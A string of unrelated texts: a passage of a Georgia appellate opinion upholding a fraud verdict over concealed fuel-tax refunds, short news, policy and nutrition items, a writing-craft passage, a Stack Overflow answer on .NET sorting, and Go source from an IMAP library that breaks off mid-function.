In April 1993, Mom and Pop contacted the Florida Department of Revenue to learn how *620 to apply for and obtain refunds for the pollution taxes. Mom and Pop then contacted American, informed it that only American could obtain the refunds and stated that American had to attach the Amoco invoices showing the pollution taxes had been paid to the application for refund that it sent to the Florida Department of Revenue. American complained that doing this would entail a lot of work and that it would have to find the Amoco invoices. When Mom and Pop offered to assist American in preparing the refund applications, American responded that it would not allow Mom and Pop to see the Amoco invoices. American stated that while it might be able to obtain the refunds for future purchases, it could not receive refunds for back purchases. Mom and Pop specifically asked if American had already applied for the refunds, and American stated that it had not.
On June 7, 1993, Mom and Pop again spoke with American in an effort to obtain refunds of the prior pollution taxes paid by Mom and Pop and to discuss a new dealer supply contract. When Mom and Pop asked American why the pollution taxes were not shown on its invoices, American's representative responded, "Well, I just don't want to show it on the invoice." Later that month, American informed Mom and Pop that it would apply for a refund of the pollution taxes already paid and reimburse Mom and Pop for the taxes paid if Mom and Pop would sign a long-term contract. American admitted that it routinely withheld returning refund money so it could coerce customers into signing long-term contracts.
On June 15, 1993, Mom and Pop wrote a letter advising American that it would be doing business with another Amoco franchise. Mom and Pop faxed the same letter to American on July 8, 1993, because American continued to call Mom and Pop's store managers to obtain gas inventory levels. American stated that as long as its signs were on Mom and Pop's property, it would not allow Mom and Pop to receive gasoline from anyone else. Mom and Pop then instructed American to remove its signs, at which point American instructed Mom and Pop's new supplier not to deliver gasoline to the store.
In August 1993, Mom and Pop discovered from the Florida Department of Revenue that American had been receiving refunds since December 1991. As a result, Mom and Pop opened an escrow account and deposited an amount of money equal to the total invoices which American had rendered for fuel delivered from July 2, 1993 through July 8, 1993. American's deliveries during this period totaled approximately $71,000.
At trial, a certified public accountant in both Georgia and Florida agreed that regardless of whether the parties had a contract or not, the pollution taxes should not have been passed on to a dealer and then a rebate obtained and not given to the dealer. The expert also performed a comparative analysis of the prices for gasoline actually charged by American to Mom and Pop and the prices as they should have been computed pursuant to the dealer supply contract. The expert concluded that the total overcharges for the pollution taxes were $105,000 and the total for freight overcharges resulting from a ten percent volume discount from White's Fuel Oil to American was $5,000. Mom and Pop had also been overcharged $21,000 due to American's practice of rounding up pollution taxes. Finally, the expert found that Mom and Pop had been overcharged $15,000 due to American's failure to pass along volume incentives Mom and Pop was entitled to receive.
The evidence showed that the Florida pollution tax was not charged on fuel which American purchased from Amoco's Savannah, Georgia terminal and delivered to Mom and Pop, yet in at least one case American added an overcharge equal to the rate of the Florida pollution tax to Mom and Pop's fuel costs. Likewise, the tax was not imposed by Florida for fuel shipped in Amoco fuel trucks or by a subcontractor of Amoco, yet American charged Mom and Pop.
1. In its first enumeration of error, American contends the trial court erred in denying its motion for a partial directed verdict with regard to Mom and Pop's counterclaim for fraud. American argued that everyone is presumed to know the law and that *621 Mom and Pop's president and bookkeeper admitted that if they had known the Florida tax law, they would have made further inquiry and would not have been misled. However, the record shows that Mom and Pop's president and bookkeeper actually stated that they would have made further inquiry if they known they were being charged the Florida pollution taxes.
"Where a jury returns a verdict and it has the approval of the trial judge, the same must be affirmed on appeal if there is any evidence to support it as the jurors are the sole and exclusive judges of the weight and credit given the evidence. The appellate court must construe the evidence with every inference and presumption in favor of upholding the verdict, and after judgment, the evidence must be construed to uphold the verdict even where the evidence is in conflict. As long as there is some evidence to support the verdict, the denial of [American's] motion for directed verdict ... will not be disturbed." (Citations and punctuation omitted.) John Crane, Inc. v. Wommack, 227 Ga.App. 538(2), 489 S.E.2d 527 (1997).
American did not, as the Florida statute specifies, separately state the amount of the pollution taxes paid on the invoices it sent to Mom and Pop. In addition, evidence established that American specifically informed Mom and Pop it had not applied for or received any refunds for pollution taxes paid when, in fact, it had already received a substantial amount in refunds. American's failure to disclose the tax did not constitute a misrepresentation of the law, but a concealment of the fact that the tax was included in Mom and Pop's cost and that it was being passed on to Mom and Pop. Thus, even if Mom and Pop was aware of the Florida tax law, a jury could have found that American fraudulently concealed or misrepresented that it was secretly passing along the pollution taxes it paid to Mom and Pop and then collecting the refunds, thus obtaining a profit equal to the amount of pollution taxes it added to Mom and Pop's fuel charge. Mom and Pop's knowledge of the pollution tax law would have made no difference unless the tax had been disclosed on the invoice so that Mom and Pop could then inquire about refunds or credits.
Moreover, the evidence showed that the Florida pollution tax did not apply to fuel which American purchased from Amoco's Savannah, Georgia terminal and delivered to Mom and Pop. Yet, in at least one case, American added an overcharge equal to the rate of the Florida pollution tax to Mom and Pop's fuel cost. Likewise, the tax was not imposed by Florida for fuel shipped in Amoco fuel trucks or by a subcontractor of Amoco, yet American charged Mom and Pop the pollution taxes.
"Suppression of a material fact which a party is under an obligation to communicate constitutes fraud. The obligation to communicate may arise from the confidential relations of the parties or from the particular circumstances of the case." OCGA § 23-2-53. Furthermore, "concealment of material facts may amount to fraud when direct inquiry is made, and the truth evaded." (Citation, punctuation and emphasis omitted.) Southern Store, etc., Co. v. Maddox, 195 Ga.App. 2, 3(1), 392 S.E.2d 268 (1990). The evidence showed that on at least one occasion Mom and Pop asked American if it had already filed for pollution tax refunds, and American responded that it had not when, in fact, it had already received refunds. In the present case, a jury was authorized to conclude that American suppressed and concealed the fact of the pollution tax under the particular circumstances of this case. Such suppression constitutes actionable fraud. The trial court did not err in denying American's motion for directed verdict on this issue.
2. American also asserts Mom and Pop's counterclaim for fraud should have been dismissed because Mom and Pop failed to exercise due diligence to verify the components of American's price when it discovered it was losing money on petroleum sales. We disagree. "Questions of fraud, the truth and materiality of representations made by a defendant, and whether the plaintiff could have protected himself by the exercise of proper diligence are, except in plain and indisputable cases, questions for the jury. [Cits.]" Brown v. Techdata Corp., 238 Ga. 622, 625, 234 S.E.2d 787 (1977).
*622 The evidence showed that when Mom and Pop discovered it was losing money on the sale of gasoline, it requested cost data and invoices from American. These requests began in April 1992 and continued through June 1993. It is undisputed that American's invoices, contrary to the Florida statute, did not specifically set out the pollution taxes paid by American. In addition, Mom and Pop requested the invoices sent by Amoco to American so it could compare the amount Amoco charged American with the amount American charged Mom and Pop, but its requests were refused. Without the Amoco invoices or access to Amoco's prices, Mom and Pop could not judge the accuracy of American's billing.
In order to obtain Amoco price data, Mom and Pop subscribed to a reporting service in December 1992. It then discovered the discrepancies between the amount American should have been charging Mom and Pop and the amount it actually charged. In February 1993, Mom and Pop sought the assistance of another Amoco franchise to determine the cause of the pricing discrepancy it discovered. When Mom and Pop learned of the pollution tax as a possible source of the overcharge, it immediately called the Florida Department of Revenue to obtain more information about the tax and met with American about the tax. While American admitted it was passing the pollution tax on to Mom and Pop, it denied filing for or receiving pollution tax refunds. It was not until receipt of a Florida Department of Revenue official's letter dated August 5, 1993 that Mom and Pop learned that American had, in fact, filed for and received pollution tax refunds since December 1991.
"While a party must exercise reasonable diligence to protect himself against the fraud of another, he is not bound to exhaust all means at his command to ascertain the truth before relying upon the representations. Ordinarily the question whether the complaining party could ascertain the falsity of the representations by proper diligence is for determination by the jury." (Citations and punctuation omitted.) Bennett v. D.L. Claborn Buick, 202 Ga.App. 308, 309-310(2), 414 S.E.2d 12 (1991). The above facts were more than sufficient for a jury to conclude that Mom and Pop exercised due diligence, and a directed verdict on the issue of fraud would not have been proper.
3. The trial court did not err in denying American's motion in limine to exclude evidence of American's overcharges after March 31, 1993. "By its very nature, the grant of a motion in limine excluding evidence suggests that there is no circumstance under which the evidence under scrutiny is likely to be admissible at trial. [Cit.] In light of that absolute, the grant of a motion in limine excluding evidence is a judicial power which must be exercised with great care." Andrews v. Wilbanks, 265 Ga. 555, 556, 458 S.E.2d 817 (1995). Furthermore, the "[a]dmission of evidence is within the sound discretion of the trial court and appellate courts will not interfere absent abuse of that discretion. Evidence having a tendency to establish facts in issue is relevant and admissible, and no matter how slight the probative value, our law favors admission of relevant evidence." (Citations and punctuation omitted.) Martin v. Williams, 215 Ga.App. 649, 651(3), 451 S.E.2d 822 (1994).
While Mom and Pop knew as of March 31, 1993 that American charged it the pollution taxes, American still denied that the refunds had been or could be obtained. It was not until August 5, 1993, when Mom and Pop received the Florida Department of Revenue letter, that it realized American had been applying for and receiving pollution tax refunds since December 1991. In addition, there was further evidence submitted that during the spring and into the summer of 1993, American was attempting to use its ability to apply for refunds to coerce Mom and Pop into signing a long-term contract. Thus, the jury could reasonably have concluded that American continued and furthered its scheme to defraud Mom and Pop even after March 31, 1993.
In addition, Mom and Pop counterclaimed for unjust enrichment, and this claim was charged to the jury. Since American admitted at trial that the pollution tax refunds belonged to Mom and Pop, evidence of overcharges after March 31, 1993 would have *623 been relevant to this cause of action. It is not erroneous to admit evidence which is competent for any purpose. Dept. of Transp. v. Dalton Paving, etc., 227 Ga.App. 207, 221(8), 489 S.E.2d 329 (1997). We find no abuse of discretion in the trial court's decision to admit evidence of American's overcharges after March 31, 1993.
4. The jury verdict was not inconsistent and void. "Verdicts shall have a reasonable intendment and shall receive a reasonable construction. They shall not be avoided unless from necessity." OCGA § 9-12-4. "The verdict may be construed in the light of the pleadings, the issues made by the evidence and the charge. The presumptions are in favor of the validity of verdicts, and if possible a construction will be given which will uphold them. Even if the verdict is ambiguous and susceptible of two constructions, one of which would uphold it and one of which would defeat it, that which would uphold it is to be applied." (Citations and punctuation omitted.) Harrison v. Martin, 213 Ga.App. 337, 344(1), 444 S.E.2d 618 (1994); see Southeastern Security Ins. Co. v. Hotle, 222 Ga.App. 161, 164(1)(e), 473 S.E.2d 256 (1996).
The pleadings and evidence in the case show that American sought to recover $71,000 for gasoline sold to Mom and Pop. Mom and Pop sought to recover damages totaling $147,000, of which $5,000 represented damages for freight discounts not passed on to Mom and Pop.
The jury returned a general verdict in favor of Mom and Pop in the amount of $71,000. The verdict stated, "We, the Jury find as follows: As to the [sic] Defendant, Mom and Pop Stores, Inc.'s counter-claim, we find in favor [of] the Defendant, Mom and Pop Stores, Inc., and against the Plaintiff, American Petroleum Products, Inc. in the total amount of $71,026.69. This award represents $0 in damages; $0 in attorneys fees and cost of litigation." The verdict form included the word "OR" between the first part of the verdict form, relating to American's recovery, and the second part of the verdict form, relating to Mom and Pop's recovery, and the jury crossed out the first part of the verdict form.
After American objected to the verdict, the trial court questioned the foreperson regarding the jury's intent. The foreperson explained that the jury found that both parties had committed fraud, but that he did not know how to fill out the form. The foreperson further explained that the jury intended for Mom and Pop to recover the amount specified and that in making the award, the jury took into consideration American's claim regarding the value of the gasoline.
After questioning the foreperson, the trial judge asked both attorneys if they now understood the verdict. Both attorneys stated they did, and no further objection was made to the verdict form. The verdict was then received by the trial court and made the judgment of the court. The jury reasonably could have concluded based on the evidence presented that Mom and Pop was entitled to recover the total amount of damages it sought, less the value of the fuel for which it had not paid and less the freight discounts it sought. "We will not substitute our judgment based upon a cold record for that of enlightened jurors who heard the evidence and saw the witnesses. [Cit.]" Efstathiou v. Reiss, 227 Ga.App. 735, 738(5), 490 S.E.2d 426 (1997). The trial court did not err in entering a judgment based on the jury's verdict.
Judgment affirmed.
POPE, P.J., and BLACKBURN, J., concur.
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Second Season of Attack on Titan Slated for 12 Episodes
The Twitter account of the anime adaptation of Hajime Isayama’s Attack on Titan (Shingeki no Kyojin) manga revealed that they are planning a total of two Blu-ray Disc and DVD sets for the anime’s second season. Each set will have six episodes, for a total of 12 episodes.
The second promotional video previews the opening theme song “Shinzou wo Sasageyo!” by Linked Horizon. |
School spending focused more on poorest schools over past 20 years; even more radical reforms over next decade
15 April 2016
School spending in England has become increasingly targeted at schools with pupils from poorer backgrounds over the past 20 years. As a result, spending per pupil in 2013–14 amongst the 20% of secondary schools with the poorest pupils was £1,800 more than spending per pupil in the richest 20% (£7,400 compared with £5,600).
This gap of more than 30% now compares with a gap of just 15% in the late 1990s. This is one of the main findings from a new report written by IFS researchers and funded by the Nuffield Foundation on long-run changes to school spending in England since the late 1970s.
That said, there is also a lot of variation in funding between schools with similar pupil intakes. Among the 20% poorest schools, 10% spent more than £9,000 per pupil while 10% spent below £6,200. Some of these differences are readily explained by other features of the schools, but many are not. That is why the government is currently consulting on radical plans for the gradual introduction of a national school funding formula in England from 2017–18 onwards. This would replace the 152 different funding formulae used by local authorities with one single, simple formula applying across all state-funded schools in England. As a result, schools in similar circumstances would, for the first time, receive similar levels of funding. Although we cannot detail the precise effects of this reform as the government has not yet proposed an exact formula, our report published today seeks to set these reforms in a proper historical context.
Key findings include:
Current school spending per pupil across England is expected to fall by at least 7% in real terms between 2015–16 and 2019–20. This would be the largest real-terms fall over any period since at least the late 1970s. However, due to the substantial growth in the 2000s, real school spending per pupil in 2019–20 would still be more than 50% higher than in 2000–01.
There are substantial differences in spending levels per pupil between schools in England, and these differences have grown over time. In 2013–14, 10% of secondary pupils attended secondary schools that spent more than £7,800 per pupil while 10% attended schools that spent less than £5,100.
A key driver of this variation is the increased spending in the most deprived set of schools and areas. In 2013–14, the poorest fifth of secondary schools (in terms of the proportion of pupils eligible for free school meals) spent 31% more per pupil than the richest fifth, up from around 15% in the late 1990s. This difference has grown from 10% to 25% for primary schools. It is likely such differentials will be preserved in the national funding formula.
Local authorities can and do make different choices in the way they fund different sorts of schools in their area. In 10% of local authorities, secondary schools spend at least 40% more than primary schools per pupil; but in 10% of local authorities, the difference was less than 30%. A national funding formula would eradicate such differences and would therefore lead to substantial changes in spending per pupil within individual local authorities. It would also imply a loss of discretion for local authorities to respond to particular local circumstances.
Differences in average spending levels between local authorities are, however, largely explained by characteristics of the local authorities: 80% of the variation in spending per pupil across local authorities can be explained by whether they are in London and their level of deprivation. A national funding formula therefore need not lead to significant redistribution between local authorities.
It is the total amount of spending that pupils experience over all their years in schooling that is likely to matter most for educational outcomes. This report provides the first estimates of total school spending received by each cohort in England:
On average, students taking their GCSEs in 2015 had £57,000 spent on them over the course of their schooling career between Reception and Year 11. However, there is considerable variation: of pupils taking their GCSEs in 2013, 10% had less than £49,000 spent on them and 10% had more than £67,000.
Changes in school spending policy take a long time to affect the amount different cohorts experience in total school spending. For example, total spending per pupil will continue to grow over the current parliament, even though annual spending per pupil will fall in real terms.
“Over the past two decades, school spending has become increasingly targeted at the schools with the most deprived intakes; the Pupil Premium continued rather than started this trend. This represents a major shift in the role of the state, with the school funding system playing an increasingly important role in redistribution,” said Chris Belfield, one of the authors of the report.
“The introduction of a national funding formula for schools in England looks set to be one of the most radical shake-ups of school funding in at least the past 30 years. Replacing 152 different formulae with one single, simple formula will inevitably lead to substantial changes in funding across schools and, for good or bad, will almost completely remove local authorities from the school funding system,” said Luke Sibieta, the other author of the report. |
What can public health nutritionists do to curb the epidemic of nutrition-related noncommunicable disease?
As a result of the rapid shift in dietary and activity patterns, the world is facing a pandemic of obesity. This new global pandemic is rapidly becoming a problem of the poor. Extensive work has been undertaken to document the changes in weight and, to a much lesser extent, in diet, energy expenditures, and activity patterns. Broad-based creative public health actions are needed to offset these larger forces that promote energy imbalance, poor diets, and reduced physical activity. Inaction will result in an acceleration of morbidity, disability, and deaths from major nutrition-related noncommunicable diseases - primarily in developing countries. |
Each of those words has a character of its own. It not only denotes something (that is, to serve as the word “for” something) but connotes, or implies, some other things. A cur is not man’s best friend, for example, even though both denote some king of dog.
In addition, each of these words has, to go back to the woodworking metaphor, a particular sound that it makes, a particular face that it makes you make, when you say it. A currrrrrrr literally makes you make an angrier, growlier face than straaaaaay, which almost makes your face smile. (Check a mirror.)
The words also have lengths: cur, stray, man’s best friend.
Your word choice here is the base level of material with which you build your story. You can treat the word sincerely, ironically, or with other tones–you can call a beautifully groomed Pomeranian a cur, for example. |
Q:
Which sorting algorithm is used by .net in IComparer
Do any one know which sorting algorithm is used by .net when we implement IComparer in our class?
A:
QuickSort seems to be it.
The documentation on IComparer says
This interface is used in conjunction with the Array.Sort and Array.BinarySearch methods.
The Array.Sort documentation says
This method uses the QuickSort algorithm. This implementation performs an unstable sort; that is, if two elements are equal, their order might not be preserved. In contrast, a stable sort preserves the order of elements that are equal.
A:
The current documentation says it uses a type of Introsort, a hybrid sorting algoritm:
Is works like this:
If the partition size is fewer than 16 elements, it uses an
insertion sort algorithm
If the number of partitions exceeds 2 * LogN, where N is the range
of the input array, it uses a Heapsort algorithm.
Otherwise, it uses a Quicksort algorithm.
source here
A:
According to the MSDN, .NET uses QuickSort. By the way, the method absolutely doesn't depend on the comparer (as long as it's comparison-based), why should .NET therefore use a different method depending on whether you provide a custom comparer or not?
|
Working on getting the kinks out of the animation process so everything runs smooth across the board when the start of the animation begins. Here is a lip sync/acting to Gangs of New York - Daniel Day-Lewis as Bill the Butcher. |
package imap
import (
"bytes"
"errors"
"fmt"
"io"
"mime"
"strconv"
"strings"
"time"
)
// System message flags, defined in RFC 3501 section 2.3.2.
const (
SeenFlag = "\\Seen"
AnsweredFlag = "\\Answered"
FlaggedFlag = "\\Flagged"
DeletedFlag = "\\Deleted"
DraftFlag = "\\Draft"
RecentFlag = "\\Recent"
)
// TryCreateFlag is a special flag in MailboxStatus.PermanentFlags indicating
// that it is possible to create new keywords by attempting to store those
// flags in the mailbox.
const TryCreateFlag = "\\*"
var flags = []string{
SeenFlag,
AnsweredFlag,
FlaggedFlag,
DeletedFlag,
DraftFlag,
RecentFlag,
}
// A PartSpecifier specifies which parts of the MIME entity should be returned.
type PartSpecifier string
// Part specifiers described in RFC 3501 page 55.
const (
// Refers to the entire part, including headers.
EntireSpecifier PartSpecifier = ""
// Refers to the header of the part. Must include the final CRLF delimiting
// the header and the body.
HeaderSpecifier = "HEADER"
// Refers to the text body of the part, omitting the header.
TextSpecifier = "TEXT"
// Refers to the MIME Internet Message Body header. Must include the final
// CRLF delimiting the header and the body.
MIMESpecifier = "MIME"
)
// CanonicalFlag returns the canonical form of a flag. Flags are case-insensitive.
//
// If the flag is defined in RFC 3501, it returns the flag with the case of the
// RFC. Otherwise, it returns the lowercase version of the flag.
func CanonicalFlag(flag string) string {
flag = strings.ToLower(flag)
for _, f := range flags {
if strings.ToLower(f) == flag {
return f
}
}
return flag
}
func ParseParamList(fields []interface{}) (map[string]string, error) {
params := make(map[string]string)
var k string
for i, f := range fields {
p, err := ParseString(f)
if err != nil {
return nil, errors.New("Parameter list contains a non-string: " + err.Error())
}
if i%2 == 0 {
k = p
} else {
params[k] = p
k = ""
}
}
if k != "" {
return nil, errors.New("Parameter list contains a key without a value")
}
return params, nil
}
func FormatParamList(params map[string]string) []interface{} {
var fields []interface{}
for key, value := range params {
fields = append(fields, key, value)
}
return fields
}
var wordDecoder = &mime.WordDecoder{
CharsetReader: func(charset string, input io.Reader) (io.Reader, error) {
if CharsetReader != nil {
return CharsetReader(charset, input)
}
return nil, fmt.Errorf("imap: unhandled charset %q", charset)
},
}
func decodeHeader(s string) (string, error) {
dec, err := wordDecoder.DecodeHeader(s)
if err != nil {
return s, err
}
return dec, nil
}
func encodeHeader(s string) string {
return mime.QEncoding.Encode("utf-8", s)
}
func stringLowered(i interface{}) (string, bool) {
s, ok := i.(string)
return strings.ToLower(s), ok
}
func parseHeaderParamList(fields []interface{}) (map[string]string, error) {
params, err := ParseParamList(fields)
if err != nil {
return nil, err
}
for k, v := range params {
if lower := strings.ToLower(k); lower != k {
delete(params, k)
k = lower
}
params[k], _ = decodeHeader(v)
}
return params, nil
}
func formatHeaderParamList(params map[string]string) []interface{} {
encoded := make(map[string]string)
for k, v := range params {
encoded[k] = encodeHeader(v)
}
return FormatParamList(encoded)
}
// A message.
type Message struct {
// The message sequence number. It must be greater than or equal to 1.
SeqNum uint32
// The mailbox items that are currently filled in. This map's values
// should not be used directly, they must only be used by libraries
// implementing extensions of the IMAP protocol.
Items map[FetchItem]interface{}
// The message envelope.
Envelope *Envelope
// The message body structure (either BODYSTRUCTURE or BODY).
BodyStructure *BodyStructure
// The message flags.
Flags []string
// The date the message was received by the server.
InternalDate time.Time
// The message size.
Size uint32
// The message unique identifier. It must be greater than or equal to 1.
Uid uint32
// The message body sections.
Body map[*BodySectionName]Literal
// The order in which items were requested. This order must be preserved
// because some bad IMAP clients (looking at you, Outlook!) refuse responses
// containing items in a different order.
itemsOrder []FetchItem
}
// Create a new empty message that will contain the specified items.
func NewMessage(seqNum uint32, items []FetchItem) *Message {
msg := &Message{
SeqNum: seqNum,
Items: make(map[FetchItem]interface{}),
Body: make(map[*BodySectionName]Literal),
itemsOrder: items,
}
for _, k := range items {
msg.Items[k] = nil
}
return msg
}
// Parse a message from fields.
func (m *Message) Parse(fields []interface{}) error {
m.Items = make(map[FetchItem]interface{})
m.Body = map[*BodySectionName]Literal{}
m.itemsOrder = nil
var k FetchItem
for i, f := range fields {
if i%2 == 0 { // It's a key
switch f := f.(type) {
case string:
k = FetchItem(strings.ToUpper(f))
case RawString:
k = FetchItem(strings.ToUpper(string(f)))
default:
return fmt.Errorf("cannot parse message: key is not a string, but a %T", f)
}
} else { // It's a value
m.Items[k] = nil
m.itemsOrder = append(m.itemsOrder, k)
switch k {
case FetchBody, FetchBodyStructure:
bs, ok := f.([]interface{})
if !ok {
return fmt.Errorf("cannot parse message: BODYSTRUCTURE is not a list, but a %T", f)
}
m.BodyStructure = &BodyStructure{Extended: k == FetchBodyStructure}
if err := m.BodyStructure.Parse(bs); err != nil {
return err
}
case FetchEnvelope:
env, ok := f.([]interface{})
if !ok {
return fmt.Errorf("cannot parse message: ENVELOPE is not a list, but a %T", f)
}
m.Envelope = &Envelope{}
if err := m.Envelope.Parse(env); err != nil {
return err
}
case FetchFlags:
flags, ok := f.([]interface{})
if !ok {
return fmt.Errorf("cannot parse message: FLAGS is not a list, but a %T", f)
}
m.Flags = make([]string, len(flags))
for i, flag := range flags {
s, _ := ParseString(flag)
m.Flags[i] = CanonicalFlag(s)
}
case FetchInternalDate:
date, _ := f.(string)
m.InternalDate, _ = time.Parse(DateTimeLayout, date)
case FetchRFC822Size:
m.Size, _ = ParseNumber(f)
case FetchUid:
m.Uid, _ = ParseNumber(f)
default:
// Likely to be a section of the body
// First check that the section name is correct
if section, err := ParseBodySectionName(k); err != nil {
// Not a section name, maybe an attribute defined in an IMAP extension
m.Items[k] = f
} else {
m.Body[section], _ = f.(Literal)
}
}
}
}
return nil
}
func (m *Message) formatItem(k FetchItem) []interface{} {
v := m.Items[k]
var kk interface{} = RawString(k)
switch k {
case FetchBody, FetchBodyStructure:
// Extension data is only returned with the BODYSTRUCTURE fetch
m.BodyStructure.Extended = k == FetchBodyStructure
v = m.BodyStructure.Format()
case FetchEnvelope:
v = m.Envelope.Format()
case FetchFlags:
flags := make([]interface{}, len(m.Flags))
for i, flag := range m.Flags {
flags[i] = RawString(flag)
}
v = flags
case FetchInternalDate:
v = m.InternalDate
case FetchRFC822Size:
v = m.Size
case FetchUid:
v = m.Uid
default:
for section, literal := range m.Body {
if section.value == k {
// This can contain spaces, so we can't pass it as a string directly
kk = section.resp()
v = literal
break
}
}
}
return []interface{}{kk, v}
}
func (m *Message) Format() []interface{} {
var fields []interface{}
// First send ordered items
processed := make(map[FetchItem]bool)
for _, k := range m.itemsOrder {
if _, ok := m.Items[k]; ok {
fields = append(fields, m.formatItem(k)...)
processed[k] = true
}
}
// Then send other remaining items
for k := range m.Items {
if !processed[k] {
fields = append(fields, m.formatItem(k)...)
}
}
return fields
}
// GetBody gets the body section with the specified name. Returns nil if it's not found.
func (m *Message) GetBody(section *BodySectionName) Literal {
section = section.resp()
for s, body := range m.Body {
if section.Equal(s) {
if body == nil {
// Server can return nil, we need to treat as empty string per RFC 3501
body = bytes.NewReader(nil)
}
return body
}
}
return nil
}
// A body section name.
// See RFC 3501 page 55.
type BodySectionName struct {
BodyPartName
// If set to true, do not implicitly set the \Seen flag.
Peek bool
// The substring of the section requested. The first value is the position of
// the first desired octet and the second value is the maximum number of
// octets desired.
Partial []int
value FetchItem
}
func (section *BodySectionName) parse(s string) error {
section.value = FetchItem(s)
if s == "RFC822" {
s = "BODY[]"
}
if s == "RFC822.HEADER" {
s = "BODY.PEEK[HEADER]"
}
if s == "RFC822.TEXT" {
s = "BODY[TEXT]"
}
partStart := strings.Index(s, "[")
if partStart == -1 {
return errors.New("Invalid body section name: must contain an open bracket")
}
partEnd := strings.LastIndex(s, "]")
if partEnd == -1 {
return errors.New("Invalid body section name: must contain a close bracket")
}
name := s[:partStart]
part := s[partStart+1 : partEnd]
partial := s[partEnd+1:]
if name == "BODY.PEEK" {
section.Peek = true
} else if name != "BODY" {
return errors.New("Invalid body section name")
}
b := bytes.NewBufferString(part + string(cr) + string(lf))
r := NewReader(b)
fields, err := r.ReadFields()
if err != nil {
return err
}
if err := section.BodyPartName.parse(fields); err != nil {
return err
}
if len(partial) > 0 {
if !strings.HasPrefix(partial, "<") || !strings.HasSuffix(partial, ">") {
return errors.New("Invalid body section name: invalid partial")
}
partial = partial[1 : len(partial)-1]
partialParts := strings.SplitN(partial, ".", 2)
var from, length int
if from, err = strconv.Atoi(partialParts[0]); err != nil {
return errors.New("Invalid body section name: invalid partial: invalid from: " + err.Error())
}
section.Partial = []int{from}
if len(partialParts) == 2 {
if length, err = strconv.Atoi(partialParts[1]); err != nil {
return errors.New("Invalid body section name: invalid partial: invalid length: " + err.Error())
}
section.Partial = append(section.Partial, length)
}
}
return nil
}
func (section *BodySectionName) FetchItem() FetchItem {
if section.value != "" {
return section.value
}
s := "BODY"
if section.Peek {
s += ".PEEK"
}
s += "[" + section.BodyPartName.string() + "]"
if len(section.Partial) > 0 {
s += "<"
s += strconv.Itoa(section.Partial[0])
if len(section.Partial) > 1 {
s += "."
s += strconv.Itoa(section.Partial[1])
}
s += ">"
}
return FetchItem(s)
}
// Equal checks whether two sections are equal.
func (section *BodySectionName) Equal(other *BodySectionName) bool {
if section.Peek != other.Peek {
return false
}
if len(section.Partial) != len(other.Partial) {
return false
}
if len(section.Partial) > 0 && section.Partial[0] != other.Partial[0] {
return false
}
if len(section.Partial) > 1 && section.Partial[1] != other.Partial[1] {
return false
}
return section.BodyPartName.Equal(&other.BodyPartName)
}
func (section *BodySectionName) resp() *BodySectionName {
resp := *section // Copy section
if resp.Peek {
resp.Peek = false
}
if len(resp.Partial) == 2 {
resp.Partial = []int{resp.Partial[0]}
}
if !strings.HasPrefix(string(resp.value), string(FetchRFC822)) {
resp.value = ""
}
return &resp
}
// ExtractPartial returns a subset of the specified bytes matching the partial requested in the
// section name.
func (section *BodySectionName) ExtractPartial(b []byte) []byte {
if len(section.Partial) != 2 {
return b
}
from := section.Partial[0]
length := section.Partial[1]
to := from + length
if from > len(b) {
return nil
}
if to > len(b) {
to = len(b)
}
return b[from:to]
}
// ParseBodySectionName parses a body section name.
func ParseBodySectionName(s FetchItem) (*BodySectionName, error) {
section := new(BodySectionName)
err := section.parse(string(s))
return section, err
}
// A body part name.
type BodyPartName struct {
// The specifier of the requested part.
Specifier PartSpecifier
// The part path. Parts indexes start at 1.
Path []int
// If Specifier is HEADER, contains header fields that will/won't be returned,
// depending of the value of NotFields.
Fields []string
// If set to true, Fields is a blacklist of fields instead of a whitelist.
NotFields bool
}
func (part *BodyPartName) parse(fields []interface{}) error {
if len(fields) == 0 {
return nil
}
name, ok := fields[0].(string)
if !ok {
return errors.New("Invalid body section name: part name must be a string")
}
args := fields[1:]
path := strings.Split(strings.ToUpper(name), ".")
end := 0
loop:
for i, node := range path {
switch PartSpecifier(node) {
case EntireSpecifier, HeaderSpecifier, MIMESpecifier, TextSpecifier:
part.Specifier = PartSpecifier(node)
end = i + 1
break loop
}
index, err := strconv.Atoi(node)
if err != nil {
return errors.New("Invalid body part name: " + err.Error())
}
if index <= 0 {
return errors.New("Invalid body part name: index <= 0")
}
part.Path = append(part.Path, index)
}
if part.Specifier == HeaderSpecifier && len(path) > end && path[end] == "FIELDS" && len(args) > 0 {
end++
if len(path) > end && path[end] == "NOT" {
part.NotFields = true
}
names, ok := args[0].([]interface{})
if !ok {
return errors.New("Invalid body part name: HEADER.FIELDS must have a list argument")
}
for _, namei := range names {
if name, ok := namei.(string); ok {
part.Fields = append(part.Fields, name)
}
}
}
return nil
}
func (part *BodyPartName) string() string {
path := make([]string, len(part.Path))
for i, index := range part.Path {
path[i] = strconv.Itoa(index)
}
if part.Specifier != EntireSpecifier {
path = append(path, string(part.Specifier))
}
if part.Specifier == HeaderSpecifier && len(part.Fields) > 0 {
path = append(path, "FIELDS")
if part.NotFields {
path = append(path, "NOT")
}
}
s := strings.Join(path, ".")
if len(part.Fields) > 0 {
s += " (" + strings.Join(part.Fields, " ") + ")"
}
return s
}
// Equal checks whether two body part names are equal.
func (part *BodyPartName) Equal(other *BodyPartName) bool {
if part.Specifier != other.Specifier {
return false
}
if part.NotFields != other.NotFields {
return false
}
if len(part.Path) != len(other.Path) {
return false
}
for i, node := range part.Path {
if node != other.Path[i] {
return false
}
}
if len(part.Fields) != len(other.Fields) {
return false
}
for _, field := range part.Fields {
found := false
for _, f := range other.Fields {
if strings.EqualFold(field, f) {
found = true
break
}
}
if !found {
return false
}
}
return true
}
// An address.
type Address struct {
// The personal name.
PersonalName string
// The SMTP at-domain-list (source route).
AtDomainList string
// The mailbox name.
MailboxName string
// The host name.
HostName string
}
// Address returns the mailbox address (e.g. "[email protected]").
func (addr *Address) Address() string {
return addr.MailboxName + "@" + addr.HostName
}
// Parse an address from fields.
func (addr *Address) Parse(fields []interface{}) error {
if len(fields) < 4 {
return errors.New("Address doesn't contain 4 fields")
}
if s, err := ParseString(fields[0]); err == nil {
addr.PersonalName, _ = decodeHeader(s)
}
if s, err := ParseString(fields[1]); err == nil {
addr.AtDomainList, _ = decodeHeader(s)
}
if s, err := ParseString(fields[2]); err == nil {
addr.MailboxName, _ = decodeHeader(s)
}
if s, err := ParseString(fields[3]); err == nil {
addr.HostName, _ = decodeHeader(s)
}
return nil
}
// Format an address to fields.
func (addr *Address) Format() []interface{} {
fields := make([]interface{}, 4)
if addr.PersonalName != "" {
fields[0] = encodeHeader(addr.PersonalName)
}
if addr.AtDomainList != "" {
fields[1] = addr.AtDomainList
}
